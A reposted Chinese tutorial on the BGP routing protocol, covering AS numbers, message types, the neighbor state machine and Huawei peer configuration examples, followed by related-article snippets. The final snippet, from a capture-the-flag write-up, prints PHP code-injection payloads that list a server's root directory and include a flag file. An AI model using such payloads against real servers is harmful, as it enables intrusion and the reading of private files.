BGP协议

1.BGP相关概念

1.1 BGP的起源

不同自治系统(路由域)间路由交换与管理的需求推动了EGP的发展,但是EGP的算法简单,无法选路,从而被BGP取代。

自治系统:(AS)

IGP:自治系统内部协议,ospf,rip,is-is,发现和计算路由信息

EGP:自治系统外部协议,传递路由信息,缺点:只负责传路由信息,不进行路由控制。

-AS号:

*任何一个运行BGP协议的路由器,都需要指定一个AS号,AS号就是用来在BGP协议中来表示不同的公司。AS号取值:0-65535

&AS号的空间有限,随着网络的发展有可能会快速的耗尽,为了能够让AS号能够用,所以又有了“私有AS号”

&私有AS:

    -这类AS不需要花钱购买,可以随意使用,但是只能在公司内部使用

    -取值范围:64512-65535

&公有AS:

    -这类AS需要花钱购买,需要找当地的运营商。可以在公网上运行!

    -取值范围:0-64511

-route-id

-作用:在BGP网络中标识唯一的路由器

-确定方式:

      1.手动指定

      2.自动选举

1.2 BGP协议特性(单播传输)

1.3BGP的优点

BGP从多方面保证了网络的安全性、灵活性、稳定性、可靠性和高效性:

最终目的:在公司之间,以稳定的方式,长时间的,传输大量的路由,最终计算一个无环的路径同时,还能实现对路由的灵活控制。

1.4 BGP的工作原理

-建立邻居表

       包含的是BGP的邻居设备

-同步数据库

        包含的是自己本地宣告的BGP路由,以及从其他邻居学习过来的BGP路由

-计算路由表

         包含的是从数据库中按照一定的BGP选路规则,选举出来的最好的路由。

1.5 BGP的报文类型

-open报文,用于BGP邻居的建立,通过报文协商很多BGP协议的参数

-update报文:即更新报文,用于在BGP邻居之间同步数据库

-keep-alive报文:用于在BGP邻居之间周期性的发送,维护BGP的邻居关系

-notification报文:通知报文,即在BGP邻居之间传递报错信息和警告信息

-refresh报文:刷新报文。即BGP的路由策略改动之后,为了能够让策略快速生效,需要使用路由器的刷新能力,就会使用该报文。

1.6 原理详解

-邻居的类型

         1.内部邻居:如果两个BGP协议的路由器,在同一个公司

          2.外部邻居:如果两个BGP协议的路由,在不同的公司

-邻居的建立过程

          1.首先设备之间建立稳定的TCP连接

                     &TCP的建立:3次握手

                     &TCP的断开:4次挥手

           2.在TCP连接之上,互相发送open报文,比较open报文中的参数,协商成功后建立BGP邻居关系

1.7 BGP的状态机:

①Idle状态(空闲状态):此状态为初始状态,不接受任何BGP连接,等待start事件产生。如果start事件(TCP连接)产生则系统开启ConnectRetry定时器,向邻居发起TCP连接,并将状态改为Connect。

②Connect状态(连接状态):在Connect状态,系统会等待TCP的连接建立完成。如果TCP状态为Established(已完成),则拆除ConnectRetry定时器,并发送Open信息,将状态变

③Opensent;如果TCP建立失败则重置ConnectRetry定时器,转为Active状态。如果定时器超时,重新连接。

④Active状态(活跃状态):如果已经启动事件但TCP未完成,则处于Active状态

⑤Open-sent状态(Open消息已发送):此状态 表明系统已经发出Open消息,在等待BGP邻居发给自己的Open消息。

⑥Open-confirm(Open消息确定):此状态表明系统已经发出keepalive消息,并等待BGP邻居的Keepalive消息。

⑦Established状态(连接建立):如果处于Established状态,则说明BGP连接建立完成,可以发送Update消息交换路由信息。

2.BGP相关配置

2.1 bgp对等表

也叫BGP的邻居表, 就是对等体邻居列表

  • Peer: 对等体地址;
  • V: version, 版本号;
  • AS: 对等体AS号;
  • Up/Down: 该对等体已经Up或Down的时间;
  • State: 对等体状态, 这里显示的为BGP状态机的状态;
  • PrefRcv: prefix received, 从对等体收到的路由前缀数目.

查看对等体表的命令:

display bgp peer

2.2 BGP路由表

BGP的路由信息数据库, 该数据库中, 有一些路由需要加入路由表, 有一些路由信息发送给其他设备做路由更新.

  • network: 路由的目的网络地址和网络掩码;

  • Nexthop: 下一跳地址;

  • MED: 路由度量值;

  • LocPrf: 本地优先级;

  • PrefVal: 协议首选值;

  • Path/Ogn: 显示传递路由信息的设备的AS路径号和Origin属性.

查看BGP路由表情况的命令:

display bgp routing-table [ipv4-address {mask|mask-length}]

2.3 BGP的基本配置

1.启动BGP进程:

[R1]bgp {as-number-plain|as-number-dot}
[R1-bgp]router-id ipv4-address

启动BGP, 指定本地AS编号, 并进入BGP视图, 使用router-id命令配置BGP的Router ID, 建议将BGP的RID配置为环回口地址.

2.配置BGP对等体:

[R1-bgp]peer {ipv4-address|ipv6-address} as-number {as-number-plain|as-number-dot}

创建BGP对等体, 指定对等体的地址和AS号.

3.配置建立对等体使用的源地址, EBGP对等体最大跳数, IBGP修改下一跳属性:

[R1-bgp]peer ip-address connect-interface interface-type interface-number [ipv4-source-address]
[R1-bgp]peer ipv4-address ebgp-max-hop hop-count
[R1-bgp]peer ipv4-address next-hop-local

指定发送BGP报文的源接口, 并可指定发起连接时使用的源地址.

指定建立EBGP连接允许的最大跳数, 缺省情况下, EBGP连接允许的最大跳数为1, 即只能在物理直连链路上建立EBGP连接;

设备B在收到EBGP A的路由再传递给IBGP C时, C下一跳默认为A, 但是可以通过命令修改这个配置.

3.配置案例

举例1:

1.创建BGP:

bgp 100router-id 1.1.1.1

创建AS 100内设备的BGP进程, 设备RID为1.1.1.1;

两边对等体都要配置.

2.指定对等体信息:

bgp 100peer 10.1.1.2 as-number 100

邻居的IP地址为10.1.1.2, 且对方的AS号码是100;

这里如果Open报文在交互报文时, My as字段不是100, 就会导致对等体关系失败, 这里如果对对等体建立过程遗忘的可以倒回去看.

默认情况下BGP指定了peer命令之后, 设备会根据对等体信息查找路由表, 找到通往该对等体的路由, 该接口的IP地址用于作为TCP源地址和对方通过TCP连接建立对等体关系.

但如果当前设备想要用的TCP源地址和对等体指定的源地址不一致, 那就需要采用其他方法配置.

3.指定TCP源地址配置对等体:

peer route-id connect-interface interface-type interface-number

比如:

peer 1.1.1.1 connect-interface loopback0

4.建立EBPG对等体

peer 1.1.1.1 ebgp-max-hop 5

将建立EBGP时的open报文的TTL置为5.

不同于建立IBGP关系(TTL=255), 建立EBGP的open报文中TTL=1. 所以指定环回口建立EBGP对等体的时候, TTL需要改大一点(ebgp-max-hop).

所以EBGP关系建立的时候一般采用物理接口, IBGP关系建立的时候一般使用环回口(优势: 冗余、稳定)作为TCP源地址.

5.将EBGP学来的路由下一跳属性置为自己, 然后再传递给其他IBGP对等体.

peer 4.4.4.4 next-hop-local

所以IBGP之间通常会加上这条命令:将下一跳指定为自己, 但这条命令只能在对等体刚开始建立时才能生效, 否则需要重置BGP进程.

从EBGP学来的路由, 传递给IBGP时不会修改下一跳属性, 比如A--EBGP-->B--IBGP-->C, C学习到这条路由的下一跳是A, 但C不一定用通往A的路由, 所以这条路由可能会无法使用.

6.重置bgp进程:

reset bgp 200

一般情况下, 为设备配置bgp属性时, as-number、connect-interface、next-hop-local这三条命令是必须的.

举例2:

       BGP对等体关系、AS号、设备互联地址如图所示, 所有设备的Loopback1接口地址为10.0.x.x/32, 其中x为设备编号, 所有设备都使用Loopback1地址作为Router ID. R1、R3之间使用Loopback1地址作为更新源地址建立IBGP对等体关系, R3、R4之间使用互联接口地址作为更新源地址建立EBGP对等体关系. ospf已经预配完成.

R1:

bgp 100
router-id 10.0.1.1
peer 10.0.3.3 as-number 100
peer 10.0.3.3 connect-interface loopback1

R3:

bgp 100
router-id 10.0.3.3
peer 10.0.1.1 as-number 100
peer 10.0.1.1 connect-interface loopback1
peer 10.0.34.4 as-number 200

R4:

bgp 200
router-id 10.0.4.4
peer 10.0.34.3 as-number 100

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/450869.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Qt/C++音视频开发66-音频变速不变调/重采样/提高音量/变速变调/倍速播放/sonic库使用

一、前言 之前在做倍速这个功能的时候,发现快速播放会有滴滴滴的破音出现,正常1倍速没有这个问题,尽管这个破音间隔很短,要放大音量才能听到,但是总归是不完美的,后面发现,通过修改qaudiooutpu…

​久坐致命?JAMA最新文章显示:久坐死亡风险增加16%,每天多锻炼15~30分钟或可抵消...

编者 1月19日,中国近50万人群随访超12年的前瞻性队列研究发表JAMA子刊,阐明久坐不动与死亡风险的关系,与各位做个分享! “久坐致命?”最新研究表明,久坐会增加16%的死亡风险! 不断加快的生活和工…

【数据分析】Excel中的常用函数公式总结

目录 0 引用方式0.1 相对引用0.2 绝对引用0.3 混合引用0.4 3D引用0.5 命名引用 1 基础函数1.1 加法、减法、乘法和除法1.2 平均数1.3 求和1.4 最大值和最小值 2 文本函数2.1 合并单元格内容2.2 查找2.3 替换 3 逻辑函数3.1 IF函数3.2 AND和OR函数3.3 IFERROR函数 4 统计函数4.1…

装饰你的APP:使用Lottie-Android创建动画效果

装饰你的APP:使用Lottie-Android创建动画效果 1. Lottie-Android简介 Lottie-Android是一个强大的开源库,由Airbnb开发,旨在帮助开发者轻松地在Android应用中添加高质量的动画效果。它基于Adobe After Effects软件中的Bodymovin插件&#x…

迅为RK3588开发板windows与开发板互传使用U盘进行拷贝

1 将 U 盘(U 盘的格式必须为 FAT32 格式,大小在 32G 以下)插到开发板的 usb 接口,串口打印信息如下所示,U 盘的设备节点是/dev/sdb4。U 盘的设备节点不是固定的,根据实际情况来查看设备节点。 2 输入以下命令挂载 U 盘&#xff0c…

C++构造函数/析构函数/复制构造函数(深拷贝/浅拷贝)

目录 1.构造函数2.析构函数3.拷贝构造函数4.深拷贝和浅拷贝5.参考内容 1.构造函数 2.析构函数 3.拷贝构造函数 4.深拷贝和浅拷贝 (1)当我们对复杂类型(结构体或者类)的对象进行初始化时,如果将对象A赋值给同类型的对象B,此时就涉及深拷贝和浅拷贝的问题&…

云端录制直播流视频,上传云盘

前言 哪一天我心血来潮,想把我儿子学校的摄像头视频流录制下来,并保存到云盘上,这样我就可以在有空的时候看看我儿子在学校干嘛。想到么就干,当时花了一些时间开发了一个后端服务,通过数据库配置录制参数,…

Java基础 反射详解

目录 简介 反射的基本使用 获取 Class 对象的四种方式 基本使用示例 常用方法 生产中的常用方式 获取注解 SpringIoc容器的制作 反射 抽象工厂模式 双亲委派 反射缺点 前言-与正文无关 生活远不止眼前的苦劳与奔波,它还充满了无数值得我们去体验和珍…

Vim工具使用全攻略:从入门到精通

引言 在软件开发的世界里,Vim不仅仅是一个文本编辑器,它是一个让你的编程效率倍增的神器。然而,对于新手来说,Vim的学习曲线似乎有些陡峭。本文将手把手教你如何从Vim的新手逐渐变为高手,深入理解Vim的操作模式&#…

【C++】拷贝构造函数和赋值运算符重载详解

目录 拷贝构造函数 概念 特征 赋值运算符重载 运算符重载 赋值运算符重载 ​编辑前置和后置重载 ⭐拷贝构造函数 ⭐概念 拷贝构造函数:只有单个形参,该形参是对本类类型对象的引用(一般常用const修饰),在用已存 在的类类型对象创建新…

不同核函数高斯过程回归算法与不同因子输入情况下对长江流域蒸散发量应用研究_杨梓涵_2023

不同核函数高斯过程回归算法与不同因子输入情况下对长江流域蒸散发量应用研究_杨梓涵_2023 摘要关键词 0 引言1 材料与方法1.1 数据资料1.2 参考作物腾发量( ET0 ) 计算方法1.2.1 FAO-56 Penman-Monteith 模型1.2.2 Hargreaves-Samani 模型1.…

ctfshow web-76

开启环境: c?><?php $anew DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString(). );} exit(0); ?> cinclude("/flagc.txt");exit(); c?><?php $anew DirectoryIterator("glob:///*"); foreach($a…